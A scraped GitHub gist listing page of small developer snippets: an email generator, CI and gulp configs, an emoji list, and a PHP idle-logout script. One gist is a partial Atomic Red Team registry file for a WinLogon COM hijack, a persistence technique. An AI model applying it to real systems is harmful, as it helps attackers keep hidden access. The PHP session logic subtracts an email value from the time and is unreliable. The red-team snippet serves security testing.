Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

Yash Karanke dextel2

🎯
Focusing
  • India
Block or report user

Report or block dextel2

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@dextel2
dextel2 / random-email.js
Created Nov 22, 2019
Random Email Generator
View random-email.js
var chars = 'abcdefghijklmnopqrstuvwxyz1234567890_';
var string = '';
var domainName = ["hitmail.com","rxdoc.biz","cox.com","126.net","126.com","comast.com","comast.net", "yandex.com","wegas.ru","twc.com","charter.com",];
for (var index = 0; index < 15; index++) {
string += chars[Math.floor(Math.random() * chars.length)];
}
var finalEmail = string + "@" + domainName[Math.floor(Math.random() * domainName.length)];
console.log(finalEmail);
@dextel2
dextel2 / .gitlab-ci.yml
Created Nov 27, 2018
A generic CI for GitLab CI, for ReactJS test cases, if you do not have separate client/server architecture you will not need 1st line of `script`,
View .gitlab-ci.yml
image: node:8.11.3
test:
script:
- cd client && npm install
- CI=true npm test
only:
- master
# To manage things more clean you can create a folder inside src named `__tests__` and tests will work just fine
# File extension must be Filename.test.js
@dextel2
dextel2 / gulpfile.js
Created Nov 1, 2018
My personal gist
View gulpfile.js
const gulp = require("gulp");
const sass = require("gulp-sass");
const concat = require("gulp-concat");
const cssnano = require("gulp-cssnano");
const uglify = require("gulp-uglify");
const prefix = require("gulp-autoprefixer");
let autoPrefixer = [
"> 1%",
"last 2 versions",
"firefox >= 4",
View keybase.md

Keybase proof

I hereby claim:

  • I am dextel2 on github.
  • I am dextel2 (https://keybase.io/dextel2) on keybase.
  • I have a public key ASCsQ5cB8VBZy8Ofovyk6Hhc8eKoamLcW84t_juU9NPm4Qo

To claim this, I am signing this object:

@dextel2
dextel2 / winlogon.reg
Created Feb 12, 2018 — forked from anonymous/winlogon.reg
WinLogon Windows 7 x64 COM Hijack
View winlogon.reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@dextel2
dextel2 / gist:3c15bfccd1452bdf9fa5b72c36bd0c4c
Created Jan 2, 2018 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup
View gist:3c15bfccd1452bdf9fa5b72c36bd0c4c

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@dextel2
dextel2 / gist:43b624779cc1b9441e3f39bb3f0e8ba6
Last active Nov 27, 2017 — forked from psdtohtml5/gist:6090113
PHP : Auto expire session / Auto logout after specific time
View gist:43b624779cc1b9441e3f39bb3f0e8ba6
<?php
//on pageload
session_start();
$idletime=60;//after 60 seconds the user gets logged out
if (time()-$_SESSION['email']>$idletime){
session_destroy();
session_unset();
header('Location: ../index.php');// relocating user to home page
You can’t perform that action at this time.